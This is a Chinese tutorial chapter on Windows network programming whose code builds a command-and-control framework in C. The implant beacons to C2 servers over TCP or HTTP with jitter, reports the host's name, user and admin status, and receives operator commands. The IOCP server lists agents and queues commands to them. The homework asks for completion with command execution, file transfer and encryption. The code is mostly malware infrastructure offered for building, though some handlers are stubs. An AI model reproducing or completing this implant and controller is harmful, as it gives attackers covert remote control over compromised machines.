Windows网络编程
15、阶段合集
1、课程目标
- 综合运用Windows网络编程技术
- 实现完整的C2框架网络通信模块
- 掌握多协议支持和负载均衡
- 理解企业级网络服务器架构
2、名词解释
| 名词 | 全称 | 解释 |
|---|---|---|
| C2 Framework | Command & Control Framework | 命令与控制框架 |
| Multi-Protocol | 多协议 | 支持多种通信协议 |
| Load Balancer | 负载均衡器 | 分发连接请求 |
| Protocol Handler | 协议处理器 | 处理特定协议的模块 |
| Connection Pool | 连接池 | 复用网络连接 |
| Heartbeat | 心跳 | 保活机制 |
| Beacon | 信标 | 定时回连的Agent模式 |
3、使用工具
- Visual Studio 2022
- Wireshark
- Postman(HTTP测试)
- ngrok(内网穿透测试)
4、技术原理
4.1、C2网络架构
Internet
|
+---------------------------------------------------+
| C2 Server |
| |
| +-----------+ +-----------+ +-----------+ |
| | HTTP/S | | TCP | | DNS | |
| | Listener | | Listener | | Listener | |
| +-----------+ +-----------+ +-----------+ |
| | | | |
| +------+-------+------+-------+ |
| | | |
| +-----+-----+ +-----+-----+ |
| | Protocol | | Protocol | |
| | Router | | Handler | |
| +-----------+ +-----------+ |
| | |
| +-----+-----+ |
| | Agent | |
| | Manager | |
| +-----------+ |
| | |
| +----------+-----------+ |
| | | | |
| [Agent 1] [Agent 2] [Agent 3] |
+---------------------------------------------------+
5、代码实现
5.1、通用协议接口
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
// 协议类型
typedef enum _PROTOCOL_TYPE {
PROTO_TCP,
PROTO_HTTP,
PROTO_HTTPS,
PROTO_DNS,
PROTO_ICMP
} PROTOCOL_TYPE;
// 消息类型
typedef enum _MSG_TYPE {
MSG_CHECKIN = 1,
MSG_HEARTBEAT,
MSG_COMMAND,
MSG_RESULT,
MSG_FILE_UPLOAD,
MSG_FILE_DOWNLOAD,
MSG_SCREENSHOT,
MSG_KEYLOG,
MSG_EXIT
} MSG_TYPE;
// 消息头
#pragma pack(push, 1)
typedef struct _C2_MSG_HEADER {
DWORD Magic; // 0xC2C2C2C2
DWORD SessionId; // 会话ID
DWORD Type; // 消息类型
DWORD Length; // 数据长度
DWORD Sequence; // 序列号
DWORD Checksum; // 校验和
} C2_MSG_HEADER;
#pragma pack(pop)
// 协议处理器接口
typedef struct _PROTOCOL_HANDLER {
PROTOCOL_TYPE type;
const char* name;
// 函数指针
BOOL (*Initialize)(void* config);
BOOL (*Connect)(const char* host, int port);
BOOL (*Send)(void* data, DWORD length);
BOOL (*Recv)(void* buffer, DWORD bufferSize, DWORD* bytesRecv);
void (*Disconnect)(void);
void (*Cleanup)(void);
} PROTOCOL_HANDLER;
// 计算校验和
DWORD CalculateChecksum(const void* data, DWORD length) {
const BYTE* bytes = (const BYTE*)data;
DWORD checksum = 0;
for (DWORD i = 0; i < length; i++) {
checksum = ((checksum << 5) + checksum) + bytes[i];
}
return checksum;
}
5.2、TCP协议处理器
// TCP协议上下文
typedef struct _TCP_CONTEXT {
SOCKET socket;
char host[256];
int port;
BOOL connected;
} TCP_CONTEXT;
TCP_CONTEXT g_TcpCtx = {0};
BOOL TcpInitialize(void* config) {
WSADATA wsa;
return (WSAStartup(MAKEWORD(2, 2), &wsa) == 0);
}
BOOL TcpConnect(const char* host, int port) {
g_TcpCtx.socket = socket(AF_INET, SOCK_STREAM, 0);
if (g_TcpCtx.socket == INVALID_SOCKET) {
return FALSE;
}
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(host);
addr.sin_port = htons(port);
if (connect(g_TcpCtx.socket, (struct sockaddr*)&addr, sizeof(addr)) != 0) {
closesocket(g_TcpCtx.socket);
return FALSE;
}
strcpy(g_TcpCtx.host, host);
g_TcpCtx.port = port;
g_TcpCtx.connected = TRUE;
return TRUE;
}
BOOL TcpSend(void* data, DWORD length) {
if (!g_TcpCtx.connected) return FALSE;
// 发送长度前缀
DWORD netLen = htonl(length);
if (send(g_TcpCtx.socket, (char*)&netLen, 4, 0) != 4) {
return FALSE;
}
// 发送数据
DWORD sent = 0;
while (sent < length) {
int n = send(g_TcpCtx.socket, (char*)data + sent, length - sent, 0);
if (n <= 0) return FALSE;
sent += n;
}
return TRUE;
}
BOOL TcpRecv(void* buffer, DWORD bufferSize, DWORD* bytesRecv) {
if (!g_TcpCtx.connected) return FALSE;
// 接收长度前缀
DWORD netLen;
if (recv(g_TcpCtx.socket, (char*)&netLen, 4, 0) != 4) {
return FALSE;
}
DWORD length = ntohl(netLen);
if (length > bufferSize) {
return FALSE;
}
// 接收数据
DWORD received = 0;
while (received < length) {
int n = recv(g_TcpCtx.socket, (char*)buffer + received,
length - received, 0);
if (n <= 0) return FALSE;
received += n;
}
*bytesRecv = received;
return TRUE;
}
void TcpDisconnect(void) {
if (g_TcpCtx.connected) {
closesocket(g_TcpCtx.socket);
g_TcpCtx.connected = FALSE;
}
}
void TcpCleanup(void) {
TcpDisconnect();
WSACleanup();
}
PROTOCOL_HANDLER g_TcpHandler = {
.type = PROTO_TCP,
.name = "TCP",
.Initialize = TcpInitialize,
.Connect = TcpConnect,
.Send = TcpSend,
.Recv = TcpRecv,
.Disconnect = TcpDisconnect,
.Cleanup = TcpCleanup
};
5.3、HTTP协议处理器
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
// HTTP协议上下文
typedef struct _HTTP_CONTEXT {
HINTERNET hInternet;
HINTERNET hConnect;
char host[256];
int port;
char userAgent[256];
BOOL useHttps;
} HTTP_CONTEXT;
HTTP_CONTEXT g_HttpCtx = {0};
BOOL HttpInitialize(void* config) {
strcpy(g_HttpCtx.userAgent,
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36");
g_HttpCtx.hInternet = InternetOpenA(
g_HttpCtx.userAgent,
INTERNET_OPEN_TYPE_DIRECT,
NULL, NULL, 0
);
return (g_HttpCtx.hInternet != NULL);
}
BOOL HttpConnect(const char* host, int port) {
strcpy(g_HttpCtx.host, host);
g_HttpCtx.port = port;
g_HttpCtx.useHttps = (port == 443);
g_HttpCtx.hConnect = InternetConnectA(
g_HttpCtx.hInternet,
host,
port,
NULL, NULL,
INTERNET_SERVICE_HTTP,
0, 0
);
return (g_HttpCtx.hConnect != NULL);
}
BOOL HttpSend(void* data, DWORD length) {
DWORD flags = INTERNET_FLAG_NO_CACHE_WRITE |
INTERNET_FLAG_NO_UI |
INTERNET_FLAG_RELOAD;
if (g_HttpCtx.useHttps) {
flags |= INTERNET_FLAG_SECURE;
}
// 创建POST请求
HINTERNET hRequest = HttpOpenRequestA(
g_HttpCtx.hConnect,
"POST",
"/api/beacon",
"HTTP/1.1",
NULL,
NULL,
flags,
0
);
if (!hRequest) {
return FALSE;
}
// 设置头
const char* headers = "Content-Type: application/octet-stream\r\n";
// Base64编码数据(简化,实际应编码)
BOOL result = HttpSendRequestA(
hRequest,
headers, -1,
data, length
);
InternetCloseHandle(hRequest);
return result;
}
BOOL HttpRecv(void* buffer, DWORD bufferSize, DWORD* bytesRecv) {
DWORD flags = INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_RELOAD;
if (g_HttpCtx.useHttps) {
flags |= INTERNET_FLAG_SECURE;
}
HINTERNET hRequest = HttpOpenRequestA(
g_HttpCtx.hConnect,
"GET",
"/api/tasks",
"HTTP/1.1",
NULL,
NULL,
flags,
0
);
if (!hRequest) {
return FALSE;
}
if (!HttpSendRequestA(hRequest, NULL, 0, NULL, 0)) {
InternetCloseHandle(hRequest);
return FALSE;
}
DWORD totalRead = 0;
DWORD read;
while (InternetReadFile(hRequest,
(char*)buffer + totalRead,
bufferSize - totalRead,
&read) && read > 0) {
totalRead += read;
}
*bytesRecv = totalRead;
InternetCloseHandle(hRequest);
return (totalRead > 0);
}
void HttpDisconnect(void) {
if (g_HttpCtx.hConnect) {
InternetCloseHandle(g_HttpCtx.hConnect);
g_HttpCtx.hConnect = NULL;
}
}
void HttpCleanup(void) {
HttpDisconnect();
if (g_HttpCtx.hInternet) {
InternetCloseHandle(g_HttpCtx.hInternet);
g_HttpCtx.hInternet = NULL;
}
}
PROTOCOL_HANDLER g_HttpHandler = {
.type = PROTO_HTTP,
.name = "HTTP",
.Initialize = HttpInitialize,
.Connect = HttpConnect,
.Send = HttpSend,
.Recv = HttpRecv,
.Disconnect = HttpDisconnect,
.Cleanup = HttpCleanup
};
5.4、多协议Agent
// Agent配置
typedef struct _AGENT_CONFIG {
char c2Servers[5][256]; // C2服务器列表
int c2Ports[5];
PROTOCOL_TYPE protocols[5];
int serverCount;
DWORD beaconInterval; // 心跳间隔
DWORD jitter; // 抖动百分比
int maxRetries; // 最大重试次数
} AGENT_CONFIG;
// Agent上下文
typedef struct _AGENT_CONTEXT {
AGENT_CONFIG config;
PROTOCOL_HANDLER* currentHandler;
int currentServer;
DWORD sessionId;
DWORD sequence;
BOOL running;
// 缓冲区
char sendBuffer[65536];
char recvBuffer[65536];
} AGENT_CONTEXT;
AGENT_CONTEXT g_Agent = {0};
// 协议处理器注册表
PROTOCOL_HANDLER* g_Handlers[] = {
&g_TcpHandler,
&g_HttpHandler,
// 可以添加更多协议处理器
NULL
};
// 获取协议处理器
PROTOCOL_HANDLER* GetProtocolHandler(PROTOCOL_TYPE type) {
for (int i = 0; g_Handlers[i] != NULL; i++) {
if (g_Handlers[i]->type == type) {
return g_Handlers[i];
}
}
return NULL;
}
// 连接C2服务器
BOOL AgentConnect(void) {
for (int i = 0; i < g_Agent.config.serverCount; i++) {
int idx = (g_Agent.currentServer + i) % g_Agent.config.serverCount;
PROTOCOL_HANDLER* handler = GetProtocolHandler(
g_Agent.config.protocols[idx]
);
if (!handler) continue;
if (!handler->Initialize(NULL)) continue;
if (handler->Connect(g_Agent.config.c2Servers[idx],
g_Agent.config.c2Ports[idx])) {
g_Agent.currentHandler = handler;
g_Agent.currentServer = idx;
printf("[+] 已连接: %s://%s:%d\n",
handler->name,
g_Agent.config.c2Servers[idx],
g_Agent.config.c2Ports[idx]);
return TRUE;
}
handler->Cleanup();
}
return FALSE;
}
// 发送消息
BOOL AgentSendMessage(DWORD type, void* data, DWORD dataLen) {
if (!g_Agent.currentHandler) return FALSE;
C2_MSG_HEADER* header = (C2_MSG_HEADER*)g_Agent.sendBuffer;
header->Magic = 0xC2C2C2C2;
header->SessionId = g_Agent.sessionId;
header->Type = type;
header->Length = dataLen;
header->Sequence = ++g_Agent.sequence;
if (data && dataLen > 0) {
memcpy(g_Agent.sendBuffer + sizeof(C2_MSG_HEADER), data, dataLen);
}
DWORD totalLen = sizeof(C2_MSG_HEADER) + dataLen;
header->Checksum = CalculateChecksum(
g_Agent.sendBuffer + sizeof(DWORD) * 2, // 跳过Magic和SessionId
totalLen - sizeof(DWORD) * 2
);
return g_Agent.currentHandler->Send(g_Agent.sendBuffer, totalLen);
}
// 接收消息
BOOL AgentRecvMessage(C2_MSG_HEADER** header, void** data) {
if (!g_Agent.currentHandler) return FALSE;
DWORD bytesRecv;
if (!g_Agent.currentHandler->Recv(g_Agent.recvBuffer,
sizeof(g_Agent.recvBuffer),
&bytesRecv)) {
return FALSE;
}
if (bytesRecv < sizeof(C2_MSG_HEADER)) {
return FALSE;
}
*header = (C2_MSG_HEADER*)g_Agent.recvBuffer;
if ((*header)->Magic != 0xC2C2C2C2) {
return FALSE;
}
*data = g_Agent.recvBuffer + sizeof(C2_MSG_HEADER);
return TRUE;
}
// 处理命令
void ProcessCommand(C2_MSG_HEADER* header, void* data) {
switch (header->Type) {
case MSG_COMMAND: {
// 执行命令
char* cmd = (char*)data;
printf("[CMD] %s\n", cmd);
// 执行并获取结果
char result[4096] = "Command executed";
AgentSendMessage(MSG_RESULT, result, strlen(result));
break;
}
case MSG_FILE_DOWNLOAD: {
// 下载文件(C2发送文件给Agent)
// ...
break;
}
case MSG_FILE_UPLOAD: {
// 上传文件请求
// ...
break;
}
case MSG_EXIT:
g_Agent.running = FALSE;
break;
}
}
// Agent主循环
void AgentMainLoop(void) {
g_Agent.running = TRUE;
while (g_Agent.running) {
// 连接C2
if (!AgentConnect()) {
Sleep(g_Agent.config.beaconInterval);
continue;
}
// 发送Checkin
CHECKIN_DATA checkin = {0};
GetComputerNameA(checkin.hostname, &(DWORD){sizeof(checkin.hostname)});
GetUserNameA(checkin.username, &(DWORD){sizeof(checkin.username)});
checkin.pid = GetCurrentProcessId();
checkin.isAdmin = IsUserAdmin();
AgentSendMessage(MSG_CHECKIN, &checkin, sizeof(checkin));
// 主通信循环
int failCount = 0;
while (g_Agent.running && failCount < g_Agent.config.maxRetries) {
// 发送心跳
AgentSendMessage(MSG_HEARTBEAT, NULL, 0);
// 接收任务
C2_MSG_HEADER* header;
void* data;
if (AgentRecvMessage(&header, &data)) {
failCount = 0;
ProcessCommand(header, data);
} else {
failCount++;
}
// 带抖动的睡眠
DWORD jitter = g_Agent.config.beaconInterval *
g_Agent.config.jitter / 100;
DWORD sleepTime = g_Agent.config.beaconInterval +
(rand() % (jitter * 2)) - jitter;
Sleep(sleepTime);
}
// 断开连接
g_Agent.currentHandler->Disconnect();
g_Agent.currentHandler->Cleanup();
g_Agent.currentHandler = NULL;
}
}
5.5、IOCP C2服务器
// C2服务器完整实现
typedef struct _C2_SERVER_CONTEXT {
// IOCP
HANDLE completionPort;
SOCKET tcpListener;
SOCKET httpListener;
HANDLE workerThreads[16];
int threadCount;
// Agent管理
struct {
PPER_HANDLE_DATA handle;
DWORD sessionId;
char hostname[64];
char username[64];
DWORD pid;
BOOL isAdmin;
DWORD lastSeen;
} agents[1024];
int agentCount;
CRITICAL_SECTION agentLock;
// 任务队列
struct {
DWORD targetSession;
DWORD type;
char data[4096];
DWORD dataLen;
} taskQueue[256];
int taskHead;
int taskTail;
CRITICAL_SECTION taskLock;
volatile BOOL running;
} C2_SERVER_CONTEXT;
C2_SERVER_CONTEXT g_C2 = {0};
// 添加Agent
DWORD AddAgent(PPER_HANDLE_DATA handle, CHECKIN_DATA* checkin) {
EnterCriticalSection(&g_C2.agentLock);
DWORD sessionId = (DWORD)time(NULL) ^ GetTickCount();
int idx = g_C2.agentCount++;
g_C2.agents[idx].handle = handle;
g_C2.agents[idx].sessionId = sessionId;
strcpy(g_C2.agents[idx].hostname, checkin->hostname);
strcpy(g_C2.agents[idx].username, checkin->username);
g_C2.agents[idx].pid = checkin->pid;
g_C2.agents[idx].isAdmin = checkin->isAdmin;
g_C2.agents[idx].lastSeen = GetTickCount();
LeaveCriticalSection(&g_C2.agentLock);
printf("[+] Agent上线: %s\\%s (PID: %d, Admin: %s)\n",
checkin->hostname, checkin->username,
checkin->pid, checkin->isAdmin ? "Yes" : "No");
return sessionId;
}
// 处理Agent消息
void HandleAgentMessage(PPER_HANDLE_DATA handle,
void* data, DWORD length) {
C2_MSG_HEADER* header = (C2_MSG_HEADER*)data;
void* payload = (char*)data + sizeof(C2_MSG_HEADER);
// 验证消息
if (header->Magic != 0xC2C2C2C2) {
return;
}
switch (header->Type) {
case MSG_CHECKIN: {
DWORD sessionId = AddAgent(handle, (CHECKIN_DATA*)payload);
// 发送会话ID
C2_MSG_HEADER response = {0};
response.Magic = 0xC2C2C2C2;
response.Type = MSG_CHECKIN;
response.SessionId = sessionId;
PostSend(handle, &response, sizeof(response));
break;
}
case MSG_HEARTBEAT:
UpdateAgentLastSeen(header->SessionId);
// 检查任务队列
SendPendingTasks(handle, header->SessionId);
break;
case MSG_RESULT:
printf("[Result] Session %08X:\n%s\n",
header->SessionId, (char*)payload);
break;
}
}
// 命令行界面
DWORD WINAPI ConsoleThread(LPVOID param) {
char cmd[256];
while (g_C2.running) {
printf("C2> ");
if (!fgets(cmd, sizeof(cmd), stdin)) break;
// 去除换行
cmd[strcspn(cmd, "\r\n")] = 0;
if (strcmp(cmd, "list") == 0) {
// 列出Agent
EnterCriticalSection(&g_C2.agentLock);
printf("\n%-10s %-20s %-20s %-8s %-5s\n",
"Session", "Hostname", "User", "PID", "Admin");
printf("%s\n", "------------------------------------------------");
for (int i = 0; i < g_C2.agentCount; i++) {
printf("%08X %-20s %-20s %-8d %-5s\n",
g_C2.agents[i].sessionId,
g_C2.agents[i].hostname,
g_C2.agents[i].username,
g_C2.agents[i].pid,
g_C2.agents[i].isAdmin ? "Yes" : "No");
}
LeaveCriticalSection(&g_C2.agentLock);
}
else if (strncmp(cmd, "use ", 4) == 0) {
// 选择Agent
DWORD session = strtoul(cmd + 4, NULL, 16);
InteractWithAgent(session);
}
else if (strcmp(cmd, "exit") == 0) {
g_C2.running = FALSE;
break;
}
}
return 0;
}
// 与Agent交互
void InteractWithAgent(DWORD sessionId) {
char cmd[1024];
printf("[*] Interacting with %08X (type 'back' to return)\n", sessionId);
while (g_C2.running) {
printf("%08X> ", sessionId);
if (!fgets(cmd, sizeof(cmd), stdin)) break;
cmd[strcspn(cmd, "\r\n")] = 0;
if (strcmp(cmd, "back") == 0) {
break;
}
if (strlen(cmd) > 0) {
QueueTask(sessionId, MSG_COMMAND, cmd, strlen(cmd) + 1);
}
}
}
// 主函数
int main() {
InitializeCriticalSection(&g_C2.agentLock);
InitializeCriticalSection(&g_C2.taskLock);
// 初始化IOCP
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);
g_C2.completionPort = CreateIoCompletionPort(
INVALID_HANDLE_VALUE, NULL, 0, 0
);
// 创建TCP监听器
InitTcpListener(&g_C2, 4444);
// 创建HTTP监听器
InitHttpListener(&g_C2, 80);
// 创建工作线程
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
g_C2.threadCount = sysInfo.dwNumberOfProcessors * 2;
for (int i = 0; i < g_C2.threadCount; i++) {
g_C2.workerThreads[i] = CreateThread(
NULL, 0, WorkerThread, &g_C2, 0, NULL
);
}
g_C2.running = TRUE;
printf("[+] C2 Server Started\n");
printf("[+] TCP Listener: 0.0.0.0:4444\n");
printf("[+] HTTP Listener: 0.0.0.0:80\n\n");
// 启动控制台线程
HANDLE consoleThread = CreateThread(
NULL, 0, ConsoleThread, NULL, 0, NULL
);
// 等待退出
WaitForSingleObject(consoleThread, INFINITE);
// 清理
for (int i = 0; i < g_C2.threadCount; i++) {
PostQueuedCompletionStatus(g_C2.completionPort, 0, 0, NULL);
}
WaitForMultipleObjects(g_C2.threadCount, g_C2.workerThreads,
TRUE, 5000);
closesocket(g_C2.tcpListener);
closesocket(g_C2.httpListener);
CloseHandle(g_C2.completionPort);
DeleteCriticalSection(&g_C2.agentLock);
DeleteCriticalSection(&g_C2.taskLock);
WSACleanup();
return 0;
}
5.6、网络编程最佳实践总结
/*
=== Windows网络编程最佳实践 ===
1. I/O模型选择
- 小规模(<100连接): select
- GUI程序: WSAAsyncSelect
- 中规模服务器: WSAEventSelect
- 高性能服务器: IOCP
2. 缓冲区管理
- 使用内存池减少分配开销
- 预分配足够的缓冲区
- 注意缓冲区溢出
3. 错误处理
- 检查每个API返回值
- 区分WSAEWOULDBLOCK和真正错误
- 实现重试机制
4. 连接管理
- 实现心跳保活
- 检测断开连接
- 优雅关闭(shutdown + closesocket)
5. 性能优化
- 使用AcceptEx预接受连接
- 使用TransmitFile零拷贝传输
- 合理设置缓冲区大小
- 减少系统调用次数
6. 安全考虑
- 验证所有输入数据
- 使用TLS/SSL加密
- 实现认证机制
- 防止DoS攻击
*/
6、课后作业
-
实现完整C2框架
- 支持TCP/HTTP双协议
- 实现Agent管理界面
- 支持文件上传下载
- 实现命令执行功能
-
添加加密通信
- 实现AES加密传输
- 实现密钥协商
- 添加消息认证
-
实现负载均衡
- 多Listener支持
- 智能协议切换
- 故障自动转移